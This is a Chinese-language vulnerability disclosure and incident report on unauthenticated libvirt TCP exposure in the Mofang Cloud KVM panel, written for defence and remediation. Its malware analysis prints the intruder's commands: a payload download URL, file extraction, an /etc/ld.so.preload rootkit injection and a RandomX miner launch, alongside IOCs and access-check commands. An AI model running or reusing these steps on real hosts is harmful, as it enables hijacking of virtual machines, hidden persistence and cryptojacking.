1. 漏洞标题
[Critical] 魔方云 KVM 节点管理地址与 NAT 公网地址混用，可能导致未认证 libvirt 控制面暴露并造成虚拟机完全接管
2. 漏洞类型
- 未授权访问
- 虚拟化管理接口暴露
- 关键管理功能缺少身份认证
- 不安全默认配置 / 不安全部署设计
- 管理平面与业务公网地址混用
建议 CWE 分类：
- CWE-306：Missing Authentication for Critical Function
- CWE-284：Improper Access Control
- CWE-668：Exposure of Resource to Wrong Sphere
3. 受影响组件
魔方云 KVM / libvirt 节点管理相关功能。
重点涉及：
- libvirt TCP 管理接口；
- KVM 节点连接地址配置；
- NAT Public IP 配置逻辑；
- VNC 控制台配置；
- 魔方云后端与宿主机 libvirt 的连接方式。
4. 漏洞概述
魔方云 KVM 节点部署过程中，存在将 libvirt 管理连接地址 与 NAT 对外公网 IP 混用的设计问题。
在实际环境中，当 libvirt 连接地址填写为：
127.0.0.1
面板中的 NAT 公网地址也可能显示或使用 127.0.0.1。
为了使 NAT IP 正常显示或生成公网端口映射，管理员可能被迫或被诱导将 libvirt Host 修改为宿主机公网 IP。
若同时启用了：
listen_tcp = 1
auth_tcp = "none"
则 libvirt TCP 管理接口可能监听于公网地址：
0.0.0.0:16509
此时，任何能够访问该 TCP 端口的远程攻击者，都可能在无需魔方云账号、无需宿主机 SSH 密码、无需 libvirt 身份认证的情况下连接虚拟化管理控制面。
libvirt 并不是普通业务服务，其管理权限可以直接影响宿主机中的 KVM 虚拟机。
一旦攻击者获得该接口访问权限，理论上可进一步执行：
- 枚举虚拟机；
- 查询虚拟机 XML；
- 启动、停止、重启虚拟机；
- 修改虚拟机设备；
- 修改 VNC 配置；
- 修改虚拟磁盘或挂载 ISO；
- 修改启动顺序；
- 通过虚拟化管理链间接取得 Guest 控制权。
最终可能导致节点内虚拟机被完全接管。
5. 漏洞触发条件
满足以下条件时风险最高：
libvirt TCP：监听公网
端口：16509/tcp
auth_tcp：none
攻击者：能够访问 16509/tcp
事发环境曾存在：
libvirt TCP：0.0.0.0:16509
auth_tcp：none
KVM001 VNC：0.0.0.0:10000
VNC 密码：未设置
Guest SSH：允许 root 密码登录
其中：
listen_tcp = 1
auth_tcp = "none"
意味着 libvirt TCP 已开启，同时连接不经过 libvirt 身份认证。
6. 正常安全架构
如果魔方云面板与 KVM 宿主机位于同一主机，推荐的管理链应为：
魔方云后端
↓
qemu:///system
↓
libvirt
↓
QEMU/KVM
此情况下不需要将 16509/tcp 暴露到公网。
如果控制面板与计算节点分离，应使用：
魔方云后端
↓
VPN / TLS / SSH Tunnel / 独立管理网络
↓
libvirt
↓
QEMU/KVM
不应采用：
Internet
↓
0.0.0.0:16509
↓
auth_tcp = none
↓
libvirt
7. 非破坏性复现步骤
步骤一：检查 libvirt TCP 是否监听公网
在 KVM 宿主机执行：
ss -lntp | grep 16509
若出现类似：
LISTEN 0 128 0.0.0.0:16509 0.0.0.0:*
说明 libvirt TCP 已绑定全部 IPv4 地址。
步骤二：检查认证配置
检查 libvirt 配置：
grep -R -E 'listen_tcp|auth_tcp' /etc/libvirt/
如果出现：
listen_tcp = 1
auth_tcp = "none"
则表示 TCP 管理接口启用且没有 libvirt 身份认证。
步骤三：从其他主机测试网络可达性
nc -vz <KVM宿主机IP> 16509
如果远程主机能够成功连接，则证明该管理端口可被网络访问。
步骤四：验证未认证 libvirt 管理访问
在经过授权的测试环境中，可执行：
virsh -c qemu+tcp://<KVM宿主机IP>/system list --all
如果攻击者无需任何用户名、密码、证书或 SSH 凭据即可列出虚拟机，例如：
Id Name State
1 KVM001 running
则漏洞成立。
以上验证已经足以证明未授权访问风险，不建议在生产环境继续执行修改虚拟机、挂载磁盘、修改 XML 等破坏性操作。
8. 安全影响
成功利用该问题后，攻击者得到的不是普通业务接口权限，而是接近完整的虚拟化控制平面权限。
攻击者可能：
虚拟机信息泄露
获取：
- VM 名称；
- UUID；
- CPU / 内存配置；
- 磁盘路径；
- 网卡配置；
- MAC 地址；
- VNC 配置；
- Guest Agent 配置。
虚拟机可用性破坏
可以：
- 强制关机；
- 重启；
- 暂停；
- 删除或更换设备；
- 修改启动配置。
可能导致大规模业务中断。
虚拟机完整性破坏
可能通过：
- 修改虚拟机 XML；
- 替换或挂载磁盘；
- 挂载恶意 ISO；
- 修改启动顺序；
- 修改控制台配置；
进一步改变 Guest 系统内容。
Guest 权限获取
若同时存在：
VNC：0.0.0.0
VNC Password：none
攻击难度进一步降低。
即使 Guest 自身 SSH 防火墙配置正确，一旦虚拟化控制面遭到控制，Guest 网络层面的 SSH 安全措施也不再能够作为可靠的安全边界。
最严重结果
可能最终造成：
未认证远程访问
→ libvirt 管理权限
→ KVM 控制权
→ Guest root
→ 数据泄漏 / 数据篡改 / 持久化 / 恶意程序运行
即节点内虚拟机被完全控制。
9. 实际安全事件佐证
本次问题并非单纯理论风险。
事发期间，KVM001 已确认遭到 root 级入侵。
系统日志中出现 root console session，并在之后发生系统重启：
2026-08-20 11:50:17 systemd: Received SIGINT
2026-08-20 11:50:18 login: session closed for user root
系统重新启动后，恶意服务立即启动：
2026-08-20 11:57:28 systemd: Started ustar.service - ustar
恶意服务以：
User=root
Group=root
Restart=always
RestartSec=5
运行。
说明攻击者在系统重启前已经获得 Guest root 权限，并完成 systemd 持久化。
10. 恶意 Payload 分析
恶意服务从以下地址下载 Payload：
http://185.128.105.153:26694/qlx.png
Payload 被保存为：
/.ustarp
随后通过固定偏移提取两个 ELF 文件：
tail -c +16756 /.ustarp | head -c 33944584 > /.ustar5
tail -c +7184 /.ustarp | head -c 9560 > /.ustar6
文件用途：
| 文件 | 作用 |
|---|---|
| /.ustarp | 伪装 PNG 的组合 Payload |
| /.ustar5 | RandomX 矿工主程序 |
| /.ustar6 | preload 注入 / 隐藏组件 |
11. ld.so.preload 持久化 / 注入
恶意服务执行：
echo /.ustar6 > /etc/ld.so.preload
导致大量动态链接程序在启动时自动加载：
/.ustar6
Kernel Audit 已记录系统组件打开并 mmap 该文件，说明 preload 注入确实已经生效。
因此，在感染后：
- ps
- ss
- netstat
- login
- 部分用户态审计命令
所得结果均存在被 Rootkit 干扰的可能性。
12. 挖矿行为
恶意程序最终执行：
exec /.ustar5 3785a12b-7e04-5124-b6df-695553797845
并连接：
ustar3rqxgnskzgnwkgpofgtvxevm6cx3lxdbwt4mndtbqijadyaohid.onion:3333
日志显示：
算法：rx/0
速度：约 1,200–1,350 H/s
峰值：约 1,519 H/s
CPU 时间：约 22 小时 32 分钟
rx/0 为 RandomX 类工作负载，现场样本表现与加密货币挖矿程序一致。
13. IOC
网络 IOC
185.128.105.153:26694
103.103.245.70:59839
ustar3rqxgnskzgnwkgpofgtvxevm6cx3lxdbwt4mndtbqijadyaohid.onion:3333
文件 IOC
/.ustarp
/.ustar5
/.ustar6
/etc/systemd/system/ustar.service
/etc/ld.so.preload
SHA256
97a22d9b720fd245b3d6bec22043a6dd0875746f2099c0e26b1c1299b5f8b0b2 /.ustarp
4ed71e4914eccb91108a84172f7766d6dcb3f911d7d253e9ed1a3fa42d0bce73 /.ustar5
97d18ba592cf5ce20dc38ff5a79323967edca7cfe3027bc16914b5c5be98f5d6 /.ustar6
14. 证据边界
已确认事实
目前已经能够确认：
- KVM001 被取得 root 权限；
- Guest 中存在 root console session；
- 系统发生可疑重启；
- ustar.service 被建立并配置为开机启动；
- 恶意 Payload 下载地址已取得；
- Payload 样本及 SHA256 已取得；
- /.ustar6 被写入
/etc/ld.so.preload； - 系统程序实际加载了
/.ustar6； - /.ustar5 执行 RandomX 工作负载；
- libvirt 曾配置为未认证 TCP；
- KVM001 VNC 曾监听全部地址且无密码。
15. 高可信攻击路径
依据事发配置，可构成以下完整攻击路径：
Internet
↓
扫描宿主机 16509/tcp
↓
发现 libvirt TCP
↓
auth_tcp = none
↓
无需身份认证连接 libvirt
↓
枚举 KVM001
↓
取得/修改虚拟机控制能力
↓
VNC / 虚拟磁盘 / 启动介质 / Guest 管理通道
↓
取得 Guest root
↓
建立 ustar.service
↓
下载 /.ustarp
↓
提取 /.ustar5 + /.ustar6
↓
写入 /etc/ld.so.preload
↓
运行 RandomX 矿工
其中：
Guest root → ustar 持久化 → preload 注入 → RandomX
已有直接实机证据。
而：
公网 16509 → libvirt → Guest root
属于根据现场危险配置重建出的高可信可利用路径，尚缺少攻击当时完整网络审计数据进行唯一归因。
16. 根因分析
本问题存在两个层面的安全风险。
根因一：libvirt 管理接口可以被配置为公网无认证访问
listen_tcp = 1
auth_tcp = "none"
对于虚拟化控制平面而言属于高危配置。
产品应主动阻止、警告或避免生成该部署方式。
根因二：libvirt 管理地址与 NAT Public IP 概念混用
产品中的：
Libvirt Host
与：
NAT Public IP
属于两个完全不同的安全域。
前者用于：
控制平面连接
后者用于：
业务 NAT / DNAT
若 NAT 地址依赖 libvirt Host 字段生成，管理员为了使公网 NAT 正常工作，可能不得不将原本应为：
127.0.0.1
或专用管理 IP 的 libvirt Host 修改成公网地址。
这种设计会显著增加虚拟化管理面意外暴露至公网的概率。
17. 修复建议
17.1 分离 Libvirt URI 与 NAT Public IP
面板中应分别提供：
Libvirt URI
NAT Public IP
例如：
Libvirt URI：qemu:///system
NAT Public IP：203.0.113.10
NAT / DNAT 规则不得根据 libvirt Host 字段生成。
17.2 本机部署默认使用 UNIX Socket
同机部署推荐默认使用：
qemu:///system
而不是：
qemu+tcp://PUBLIC-IP/system
17.3 禁止未认证 libvirt TCP
产品应检测：
auth_tcp = "none"
如果 libvirt TCP 同时绑定非 Loopback 地址，应：
- 阻止保存；
- 或显示明确的 Critical 安全警告。
17.4 默认关闭 16509 公网访问
建议：
- disable / mask libvirt TCP socket；
- 防火墙默认拒绝 Internet → 16509；
- 仅允许可信管理网络访问。
17.5 远程节点采用安全管理通道
如果控制端与 KVM 节点分离，应支持：
- TLS Client Certificate；
- WireGuard / VPN；
- SSH Tunnel；
- 独立 Management VLAN。
禁止使用公网无认证 libvirt TCP。
17.6 修复 VNC 默认安全策略
禁止生成：
VNC Listen：0.0.0.0
Password：none
推荐：
VNC Listen：127.0.0.1
并通过：
→ 短时 Token
→ WebSocket Proxy
→ localhost VNC
进行访问。
17.7 加强 Guest 默认安全策略
建议默认：
PermitRootLogin prohibit-password
PasswordAuthentication no
每台虚拟机使用独立 SSH 凭据。
17.8 增加安全审计
建议记录并集中保存至少 30–90 天：
- 面板管理员操作；
- libvirt API 调用；
- VM XML 修改；
- VNC Console 登录；
- Guest Agent 操作；
- NAT / DNAT 修改；
- 节点登录；
- VM 重启与关机来源。
否则发生类似事件后很难完成初始入口归因。
18. 建议厂商增加的安全检测
节点添加或保存时，可以自动执行以下检测：
[Critical] libvirt TCP 对公网开放
[Critical] auth_tcp = none
[Critical] VNC = 0.0.0.0 且无密码
[High] SSH root 密码登录开启
[Warning] Libvirt Host 使用公网 IP
若同时出现：
Public libvirt
+
auth_tcp none
建议直接禁止节点上线。
建议厂商优先修复 Libvirt 管理地址与 NAT Public IP 混用问题**，并在产品层面禁止或强警告 **公网 libvirt + auth_tcp = none 的危险组合。
